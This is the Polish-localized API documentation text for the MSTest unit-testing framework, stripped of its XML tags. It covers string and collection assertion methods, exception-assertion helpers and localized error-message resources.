Komunikat do dołączenia do wyjątku, gdy element - nie zgłasza wyjątku typu . - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - Typ wyjątku, którego zgłoszenie jest oczekiwane. - - - - - Testuje, czy kod określony przez delegata zgłasza wyjątek dokładnie typu (a nie jego typu pochodnego) - i zgłasza wyjątek - - AssertFailedException - , - jeśli kod nie zgłasza wyjątku lub zgłasza wyjątek typu innego niż . - - - Delegat dla kodu do przetestowania, który powinien zgłosić wyjątek. - - - Komunikat do dołączenia do wyjątku, gdy element - nie zgłasza wyjątku typu . - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Typ wyjątku, którego zgłoszenie jest oczekiwane. - - - - - Testuje, czy kod określony przez delegata zgłasza wyjątek dokładnie typu (a nie jego typu pochodnego) - i zgłasza wyjątek - - AssertFailedException - , - jeśli kod nie zgłasza wyjątku lub zgłasza wyjątek typu innego niż . - - - Delegat dla kodu do przetestowania, który powinien zgłosić wyjątek. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Element wykonywanie delegata. - - - - - Testuje, czy kod określony przez delegata zgłasza wyjątek dokładnie typu (a nie jego typu pochodnego) - i zgłasza wyjątek AssertFailedException, jeśli kod nie zgłasza wyjątku lub zgłasza wyjątek typu innego niż . - - Delegat dla kodu do przetestowania, który powinien zgłosić wyjątek. - - Komunikat do dołączenia do wyjątku, gdy element - nie zgłasza wyjątku typu . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - Element wykonywanie delegata. - - - - - Testuje, czy kod określony przez delegata zgłasza wyjątek dokładnie typu (a nie jego typu pochodnego) - i zgłasza wyjątek AssertFailedException, jeśli kod nie zgłasza wyjątku lub zgłasza wyjątek typu innego niż . - - Delegat dla kodu do przetestowania, który powinien zgłosić wyjątek. - - Komunikat do dołączenia do wyjątku, gdy element - nie zgłasza wyjątku typu . - - - Tablica parametrów do użycia podczas formatowania elementu . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - Element wykonywanie delegata. - - - - - Zastępuje znaki null („\0”) ciągiem „\\0”. - - - Ciąg do wyszukania. - - - Przekonwertowany ciąg ze znakami null zastąpionymi ciągiem „\\0”. - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - Funkcja pomocnicza, która tworzy i zgłasza wyjątek AssertionFailedException - - - nazwa asercji zgłaszającej wyjątek - - - komunikat opisujący warunki dla błędu asercji - - - Parametry. - - - - - Sprawdza parametry pod kątem prawidłowych warunków - - - Parametr. - - - Nazwa asercji. - - - nazwa parametru - - - komunikat dla wyjątku nieprawidłowego parametru - - - Parametry. - - - - - Bezpiecznie konwertuje obiekt na ciąg, obsługując wartości null i znaki null. - Wartości null są konwertowane na ciąg „(null)”. Znaki null są konwertowane na ciąg „\\0”. - - - Obiekt do przekonwertowania na ciąg. - - - Przekonwertowany ciąg. - - - - - Asercja ciągu. - - - - - Pobiera pojedyncze wystąpienie funkcji CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testuje, czy określony ciąg zawiera podany podciąg, - i zgłasza wyjątek, jeśli podciąg nie występuje - w testowanym ciągu. - - - Ciąg, który powinien zawierać ciąg . - - - Ciąg, którego wystąpienie jest oczekiwane w ciągu . - - - Thrown if is not found in - . - - - - - Testuje, czy określony ciąg zawiera podany podciąg, - i zgłasza wyjątek, jeśli podciąg nie występuje - w testowanym ciągu. - - - Ciąg, który powinien zawierać ciąg . - - - Ciąg, którego wystąpienie jest oczekiwane w ciągu . - - - Komunikat do dołączenia do wyjątku, gdy element - nie znajduje się w ciągu . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is not found in - . - - - - - Testuje, czy określony ciąg zawiera podany podciąg, - i zgłasza wyjątek, jeśli podciąg nie występuje - w testowanym ciągu. - - - Ciąg, który powinien zawierać ciąg . - - - Ciąg, którego wystąpienie jest oczekiwane w ciągu . - - - Komunikat do dołączenia do wyjątku, gdy element - nie znajduje się w ciągu . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not found in - . - - - - - Testuje, czy określony ciąg rozpoczyna się podanym podciągiem, - i zgłasza wyjątek, jeśli testowany ciąg nie rozpoczyna się - podciągiem. - - - Ciąg, którego oczekiwany początek to . - - - Ciąg, który powinien być prefiksem ciągu . - - - Thrown if does not begin with - . - - - - - Testuje, czy określony ciąg rozpoczyna się podanym podciągiem, - i zgłasza wyjątek, jeśli testowany ciąg nie rozpoczyna się - podciągiem. - - - Ciąg, którego oczekiwany początek to . - - - Ciąg, który powinien być prefiksem ciągu . - - - Komunikat do dołączenia do wyjątku, gdy element - nie zaczyna się ciągiem . Komunikat - jest wyświetlony w wynikach testu. - - - Thrown if does not begin with - . - - - - - Testuje, czy określony ciąg rozpoczyna się podanym podciągiem, - i zgłasza wyjątek, jeśli testowany ciąg nie rozpoczyna się - podciągiem. - - - Ciąg, którego oczekiwany początek to . - - - Ciąg, który powinien być prefiksem ciągu . - - - Komunikat do dołączenia do wyjątku, gdy element - nie zaczyna się ciągiem . Komunikat - jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if does not begin with - . - - - - - Testuje, czy określony ciąg kończy się podanym podciągiem, - i zgłasza wyjątek, jeśli testowany ciąg nie kończy się - podciągiem. - - - Ciąg, którego oczekiwane zakończenie to . - - - Ciąg, który powinien być sufiksem ciągu . - - - Thrown if does not end with - . - - - - - Testuje, czy określony ciąg kończy się podanym podciągiem, - i zgłasza wyjątek, jeśli testowany ciąg nie kończy się - podciągiem. - - - Ciąg, którego oczekiwane zakończenie to . - - - Ciąg, który powinien być sufiksem ciągu . - - - Komunikat do dołączenia do wyjątku, gdy element - nie kończy się ciągiem . Komunikat - jest wyświetlony w wynikach testu. - - - Thrown if does not end with - . - - - - - Testuje, czy określony ciąg kończy się podanym podciągiem, - i zgłasza wyjątek, jeśli testowany ciąg nie kończy się - podciągiem. - - - Ciąg, którego oczekiwane zakończenie to . - - - Ciąg, który powinien być sufiksem ciągu . - - - Komunikat do dołączenia do wyjątku, gdy element - nie kończy się ciągiem . Komunikat - jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if does not end with - . - - - - - Testuje, czy określony ciąg pasuje do wyrażenia regularnego, - i zgłasza wyjątek, jeśli ciąg nie pasuje do wyrażenia. - - - Ciąg, który powinien pasować do wzorca . - - - Wyrażenie regularne, do którego ciąg ma - pasować. - - - Thrown if does not match - . - - - - - Testuje, czy określony ciąg pasuje do wyrażenia regularnego, - i zgłasza wyjątek, jeśli ciąg nie pasuje do wyrażenia. - - - Ciąg, który powinien pasować do wzorca . - - - Wyrażenie regularne, do którego ciąg ma - pasować. - - - Komunikat do dołączenia do wyjątku, gdy element - nie pasuje do wzorca . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if does not match - . - - - - - Testuje, czy określony ciąg pasuje do wyrażenia regularnego, - i zgłasza wyjątek, jeśli ciąg nie pasuje do wyrażenia. - - - Ciąg, który powinien pasować do wzorca . - - - Wyrażenie regularne, do którego ciąg ma - pasować. - - - Komunikat do dołączenia do wyjątku, gdy element - nie pasuje do wzorca . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if does not match - . - - - - - Testuje, czy określony ciąg nie pasuje do wyrażenia regularnego, - i zgłasza wyjątek, jeśli ciąg pasuje do wyrażenia. - - - Ciąg, który nie powinien pasować do wzorca . - - - Wyrażenie regularne, do którego ciąg nie - powinien pasować. - - - Thrown if matches . - - - - - Testuje, czy określony ciąg nie pasuje do wyrażenia regularnego, - i zgłasza wyjątek, jeśli ciąg pasuje do wyrażenia. - - - Ciąg, który nie powinien pasować do wzorca . - - - Wyrażenie regularne, do którego ciąg nie - powinien pasować. - - - Komunikat do dołączenia do wyjątku, gdy element - dopasowania . Komunikat jest wyświetlony w wynikach - testu. - - - Thrown if matches . - - - - - Testuje, czy określony ciąg nie pasuje do wyrażenia regularnego, - i zgłasza wyjątek, jeśli ciąg pasuje do wyrażenia. - - - Ciąg, który nie powinien pasować do wzorca . - - - Wyrażenie regularne, do którego ciąg nie - powinien pasować. - - - Komunikat do dołączenia do wyjątku, gdy element - dopasowania . Komunikat jest wyświetlony w wynikach - testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if matches . - - - - - Kolekcja klas pomocniczych na potrzeby testowania różnych warunków skojarzonych - z kolekcjami w ramach testów jednostkowych. Jeśli testowany warunek - nie jest spełniony, zostanie zgłoszony wyjątek. - - - - - Pobiera pojedyncze wystąpienie funkcji CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testuje, czy określona kolekcja zawiera podany element, - i zgłasza wyjątek, jeśli element nie znajduje się w kolekcji. - - - Kolekcja, w której ma znajdować się wyszukiwany element. - - - Element, który powinien należeć do kolekcji. - - - Thrown if is not found in - . - - - - - Testuje, czy określona kolekcja zawiera podany element, - i zgłasza wyjątek, jeśli element nie znajduje się w kolekcji. - - - Kolekcja, w której ma znajdować się wyszukiwany element. - - - Element, który powinien należeć do kolekcji. - - - Komunikat do dołączenia do wyjątku, gdy element - nie znajduje się w ciągu . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is not found in - . - - - - - Testuje, czy określona kolekcja zawiera podany element, - i zgłasza wyjątek, jeśli element nie znajduje się w kolekcji. - - - Kolekcja, w której ma znajdować się wyszukiwany element. - - - Element, który powinien należeć do kolekcji. - - - Komunikat do dołączenia do wyjątku, gdy element - nie znajduje się w ciągu . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not found in - . - - - - - Testuje, czy określona kolekcja nie zawiera podanego elementu, - i zgłasza wyjątek, jeśli element znajduje się w kolekcji. - - - Kolekcja, w której ma znajdować się wyszukiwany element. - - - Element, który nie powinien należeć do kolekcji. - - - Thrown if is found in - . - - - - - Testuje, czy określona kolekcja nie zawiera podanego elementu, - i zgłasza wyjątek, jeśli element znajduje się w kolekcji. - - - Kolekcja, w której ma znajdować się wyszukiwany element. - - - Element, który nie powinien należeć do kolekcji. - - - Komunikat do dołączenia do wyjątku, gdy element - znajduje się w kolekcji . Komunikat jest wyświetlony w wynikach - testu. - - - Thrown if is found in - . - - - - - Testuje, czy określona kolekcja nie zawiera podanego elementu, - i zgłasza wyjątek, jeśli element znajduje się w kolekcji. - - - Kolekcja, w której ma znajdować się wyszukiwany element. - - - Element, który nie powinien należeć do kolekcji. - - - Komunikat do dołączenia do wyjątku, gdy element - znajduje się w kolekcji . Komunikat jest wyświetlony w wynikach - testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is found in - . - - - - - Testuje, czy wszystkie elementy w określonej kolekcji mają wartości inne niż null, i zgłasza - wyjątek, jeśli którykolwiek element ma wartość null. - - - Kolekcja, w której mają być wyszukiwane elementy o wartości null. - - - Thrown if a null element is found in . - - - - - Testuje, czy wszystkie elementy w określonej kolekcji mają wartości inne niż null, i zgłasza - wyjątek, jeśli którykolwiek element ma wartość null. - - - Kolekcja, w której mają być wyszukiwane elementy o wartości null. - - - Komunikat do dołączenia do wyjątku, gdy element - zawiera element o wartości null. Komunikat jest wyświetlony w wynikach testu. - - - Thrown if a null element is found in . - - - - - Testuje, czy wszystkie elementy w określonej kolekcji mają wartości inne niż null, i zgłasza - wyjątek, jeśli którykolwiek element ma wartość null. - - - Kolekcja, w której mają być wyszukiwane elementy o wartości null. - - - Komunikat do dołączenia do wyjątku, gdy element - zawiera element o wartości null. Komunikat jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if a null element is found in . - - - - - Testuje, czy wszystkie elementy w określonej kolekcji są unikatowe, - i zgłasza wyjątek, jeśli dowolne dwa elementy w kolekcji są równe. - - - Kolekcja, w której mają być wyszukiwane zduplikowane elementy. - - - Thrown if a two or more equal elements are found in - . - - - - - Testuje, czy wszystkie elementy w określonej kolekcji są unikatowe, - i zgłasza wyjątek, jeśli dowolne dwa elementy w kolekcji są równe. - - - Kolekcja, w której mają być wyszukiwane zduplikowane elementy. - - - Komunikat do dołączenia do wyjątku, gdy element - zawiera co najmniej jeden zduplikowany element. Komunikat jest wyświetlony w - wynikach testu. - - - Thrown if a two or more equal elements are found in - . - - - - - Testuje, czy wszystkie elementy w określonej kolekcji są unikatowe, - i zgłasza wyjątek, jeśli dowolne dwa elementy w kolekcji są równe. - - - Kolekcja, w której mają być wyszukiwane zduplikowane elementy. - - - Komunikat do dołączenia do wyjątku, gdy element - zawiera co najmniej jeden zduplikowany element. Komunikat jest wyświetlony w - wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if a two or more equal elements are found in - . - - - - - Testuje, czy dana kolekcja stanowi podzbiór innej kolekcji, - i zgłasza wyjątek, jeśli dowolny element podzbioru znajduje się także - w nadzbiorze. - - - Kolekcja powinna być podzbiorem . - - - Kolekcja powinna być nadzbiorem - - - Thrown if an element in is not found in - . - - - - - Testuje, czy dana kolekcja stanowi podzbiór innej kolekcji, - i zgłasza wyjątek, jeśli dowolny element podzbioru znajduje się także - w nadzbiorze. - - - Kolekcja powinna być podzbiorem . - - - Kolekcja powinna być nadzbiorem - - - Komunikat do uwzględnienia w wyjątku, gdy elementu w - nie można odnaleźć w . - Komunikat jest wyświetlany w wynikach testu. - - - Thrown if an element in is not found in - . - - - - - Testuje, czy dana kolekcja stanowi podzbiór innej kolekcji, - i zgłasza wyjątek, jeśli dowolny element podzbioru znajduje się także - w nadzbiorze. - - - Kolekcja powinna być podzbiorem . - - - Kolekcja powinna być nadzbiorem - - - Komunikat do uwzględnienia w wyjątku, gdy elementu w - nie można odnaleźć w . - Komunikat jest wyświetlany w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if an element in is not found in - . - - - - - Testuje, czy jedna kolekcja nie jest podzbiorem innej kolekcji, - i zgłasza wyjątek, jeśli wszystkie elementy w podzbiorze znajdują się również - w nadzbiorze. - - - Kolekcja nie powinna być podzbiorem . - - - Kolekcja nie powinna być nadzbiorem - - - Thrown if every element in is also found in - . - - - - - Testuje, czy jedna kolekcja nie jest podzbiorem innej kolekcji, - i zgłasza wyjątek, jeśli wszystkie elementy w podzbiorze znajdują się również - w nadzbiorze. - - - Kolekcja nie powinna być podzbiorem . - - - Kolekcja nie powinna być nadzbiorem - - - Komunikat do uwzględnienia w wyjątku, gdy każdy element w kolekcji - znajduje się również w kolekcji . - Komunikat jest wyświetlany w wynikach testu. - - - Thrown if every element in is also found in - . - - - - - Testuje, czy jedna kolekcja nie jest podzbiorem innej kolekcji, - i zgłasza wyjątek, jeśli wszystkie elementy w podzbiorze znajdują się również - w nadzbiorze. - - - Kolekcja nie powinna być podzbiorem . - - - Kolekcja nie powinna być nadzbiorem - - - Komunikat do uwzględnienia w wyjątku, gdy każdy element w kolekcji - znajduje się również w kolekcji . - Komunikat jest wyświetlany w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if every element in is also found in - . - - - - - Testuje, czy dwie kolekcje zawierają te same elementy, i zgłasza - wyjątek, jeśli któraś z kolekcji zawiera element niezawarty w drugiej - kolekcji. - - - Pierwsza kolekcja do porównania. Zawiera elementy oczekiwane przez - test. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testuje, czy dwie kolekcje zawierają te same elementy, i zgłasza - wyjątek, jeśli któraś z kolekcji zawiera element niezawarty w drugiej - kolekcji. - - - Pierwsza kolekcja do porównania. Zawiera elementy oczekiwane przez - test. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Komunikat do uwzględnienia w wyjątku, gdy element został odnaleziony - w jednej z kolekcji, ale nie ma go w drugiej. Komunikat jest wyświetlany - w wynikach testu. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testuje, czy dwie kolekcje zawierają te same elementy, i zgłasza - wyjątek, jeśli któraś z kolekcji zawiera element niezawarty w drugiej - kolekcji. - - - Pierwsza kolekcja do porównania. Zawiera elementy oczekiwane przez - test. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Komunikat do uwzględnienia w wyjątku, gdy element został odnaleziony - w jednej z kolekcji, ale nie ma go w drugiej. Komunikat jest wyświetlany - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testuje, czy dwie kolekcje zawierają różne elementy, i zgłasza - wyjątek, jeśli dwie kolekcje zawierają identyczne elementy bez względu - na porządek. - - - Pierwsza kolekcja do porównania. Zawiera elementy, co do których test oczekuje, - że będą inne niż rzeczywista kolekcja. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testuje, czy dwie kolekcje zawierają różne elementy, i zgłasza - wyjątek, jeśli dwie kolekcje zawierają identyczne elementy bez względu - na porządek. - - - Pierwsza kolekcja do porównania. Zawiera elementy, co do których test oczekuje, - że będą inne niż rzeczywista kolekcja. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - zawiera te same elementy co . Komunikat - jest wyświetlany w wynikach testu. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testuje, czy dwie kolekcje zawierają różne elementy, i zgłasza - wyjątek, jeśli dwie kolekcje zawierają identyczne elementy bez względu - na porządek. - - - Pierwsza kolekcja do porównania. Zawiera elementy, co do których test oczekuje, - że będą inne niż rzeczywista kolekcja. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - zawiera te same elementy co . Komunikat - jest wyświetlany w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Sprawdza, czy wszystkie elementy w określonej kolekcji są wystąpieniami - oczekiwanego typu i zgłasza wyjątek, jeśli oczekiwanego typu nie ma - w hierarchii dziedziczenia jednego lub większej liczby elementów. - - - Kolekcja zawierająca elementy, co do których test oczekuje, że będą - elementami określonego typu. - - - Oczekiwany typ każdego elementu kolekcji . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Sprawdza, czy wszystkie elementy w określonej kolekcji są wystąpieniami - oczekiwanego typu i zgłasza wyjątek, jeśli oczekiwanego typu nie ma - w hierarchii dziedziczenia jednego lub większej liczby elementów. - - - Kolekcja zawierająca elementy, co do których test oczekuje, że będą - elementami określonego typu. - - - Oczekiwany typ każdego elementu kolekcji . - - - Komunikat do uwzględnienia w wyjątku, gdy elementu w - nie jest wystąpieniem - . Komunikat jest wyświetlony w wynikach testu. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Sprawdza, czy wszystkie elementy w określonej kolekcji są wystąpieniami - oczekiwanego typu i zgłasza wyjątek, jeśli oczekiwanego typu nie ma - w hierarchii dziedziczenia jednego lub większej liczby elementów. - - - Kolekcja zawierająca elementy, co do których test oczekuje, że będą - elementami określonego typu. - - - Oczekiwany typ każdego elementu kolekcji . - - - Komunikat do uwzględnienia w wyjątku, gdy elementu w - nie jest wystąpieniem - . Komunikat jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Testuje, czy określone kolekcje są równe, i zgłasza wyjątek, - jeśli dwie kolekcje nie są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja oczekiwana przez test. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Thrown if is not equal to - . - - - - - Testuje, czy określone kolekcje są równe, i zgłasza wyjątek, - jeśli dwie kolekcje nie są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja oczekiwana przez test. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is not equal to - . - - - - - Testuje, czy określone kolekcje są równe, i zgłasza wyjątek, - jeśli dwie kolekcje nie są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja oczekiwana przez test. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not equal to - . - - - - - Testuje, czy określone kolekcje są nierówne, i zgłasza wyjątek, - jeśli dwie kolekcje są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja, co do której test oczekuje -, że nie będzie zgodna . - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Thrown if is equal to . - - - - - Testuje, czy określone kolekcje są nierówne, i zgłasza wyjątek, - jeśli dwie kolekcje są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja, co do której test oczekuje -, że nie będzie zgodna . - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is equal to . - - - - - Testuje, czy określone kolekcje są nierówne, i zgłasza wyjątek, - jeśli dwie kolekcje są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja, co do której test oczekuje -, że nie będzie zgodna . - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is equal to . - - - - - Testuje, czy określone kolekcje są równe, i zgłasza wyjątek, - jeśli dwie kolekcje nie są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja oczekiwana przez test. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Implementacja porównania do użycia podczas porównywania elementów kolekcji. - - - Thrown if is not equal to - . - - - - - Testuje, czy określone kolekcje są równe, i zgłasza wyjątek, - jeśli dwie kolekcje nie są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja oczekiwana przez test. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Implementacja porównania do użycia podczas porównywania elementów kolekcji. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is not equal to - . - - - - - Testuje, czy określone kolekcje są równe, i zgłasza wyjątek, - jeśli dwie kolekcje nie są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja oczekiwana przez test. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Implementacja porównania do użycia podczas porównywania elementów kolekcji. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not equal to - . - - - - - Testuje, czy określone kolekcje są nierówne, i zgłasza wyjątek, - jeśli dwie kolekcje są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja, co do której test oczekuje -, że nie będzie zgodna . - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Implementacja porównania do użycia podczas porównywania elementów kolekcji. - - - Thrown if is equal to . - - - - - Testuje, czy określone kolekcje są nierówne, i zgłasza wyjątek, - jeśli dwie kolekcje są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja, co do której test oczekuje -, że nie będzie zgodna . - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Implementacja porównania do użycia podczas porównywania elementów kolekcji. - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is equal to . - - - - - Testuje, czy określone kolekcje są nierówne, i zgłasza wyjątek, - jeśli dwie kolekcje są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja, co do której test oczekuje -, że nie będzie zgodna . - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Implementacja porównania do użycia podczas porównywania elementów kolekcji. - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is equal to . - - - - - Określa, czy pierwsza kolekcja jest podzbiorem drugiej kolekcji. - Jeśli któryś zbiór zawiera zduplikowane elementy, liczba wystąpień - elementu w podzbiorze musi być mniejsza lub równa liczbie - wystąpień w nadzbiorze. - - - Kolekcja, co do której test oczekuje, że powinna być zawarta w . - - - Kolekcja, co do której test oczekuje, że powinna zawierać . - - - Wartość true, jeśli jest podzbiorem kolekcji - , w przeciwnym razie wartość false. - - - - - Tworzy słownik zawierający liczbę wystąpień każdego elementu - w określonej kolekcji. - - - Kolekcja do przetworzenia. - - - Liczba elementów o wartości null w kolekcji. - - - Słownik zawierający liczbę wystąpień każdego elementu - w określonej kolekcji. - - - - - Znajduje niezgodny element w dwóch kolekcjach. Niezgodny - element to ten, którego liczba wystąpień w oczekiwanej kolekcji - jest inna niż w rzeczywistej kolekcji. Kolekcje - są uznawane za różne odwołania o wartości innej niż null z tą samą - liczbą elementów. Obiekt wywołujący jest odpowiedzialny za ten poziom weryfikacji. - Jeśli nie ma żadnego niezgodnego elementu, funkcja zwraca wynik - false i parametry wyjściowe nie powinny być używane. - - - Pierwsza kolekcja do porównania. - - - Druga kolekcja do porównania. - - - Oczekiwana liczba wystąpień elementu - lub 0, jeśli nie ma żadnego niezgodnego - elementu. - - - Rzeczywista liczba wystąpień elementu - lub 0, jeśli nie ma żadnego niezgodnego - elementu. - - - Niezgodny element (może mieć wartość null) lub wartość null, jeśli - nie ma żadnego niezgodnego elementu. - - - wartość true, jeśli znaleziono niezgodny element; w przeciwnym razie wartość false. - - - - - porównuje obiekty przy użyciu funkcji object.Equals - - - - - Klasa podstawowa dla wyjątków struktury. - - - - - Inicjuje nowe wystąpienie klasy . - - - - - Inicjuje nowe wystąpienie klasy . - - Komunikat. - Wyjątek. - - - - Inicjuje nowe wystąpienie klasy . - - Komunikat. - - - - Silnie typizowana klasa zasobów do wyszukiwania zlokalizowanych ciągów itp. - - - - - Zwraca buforowane wystąpienie ResourceManager używane przez tę klasę. - - - - - Przesłania właściwość CurrentUICulture bieżącego wątku dla wszystkich - przypadków przeszukiwania zasobów za pomocą tej silnie typizowanej klasy zasobów. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Ciąg dostępu ma nieprawidłową składnię. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Oczekiwana kolekcja zawiera następującą liczbę wystąpień elementu <{2}>: {1}. Rzeczywista kolekcja zawiera następującą liczbę wystąpień: {3}. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Znaleziono zduplikowany element: <{1}>. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Oczekiwano: <{1}>. Przypadek jest inny w wartości rzeczywistej: <{2}>. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Oczekiwano różnicy nie większej niż <{3}> między oczekiwaną wartością <{1}> i wartością rzeczywistą <{2}>. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: 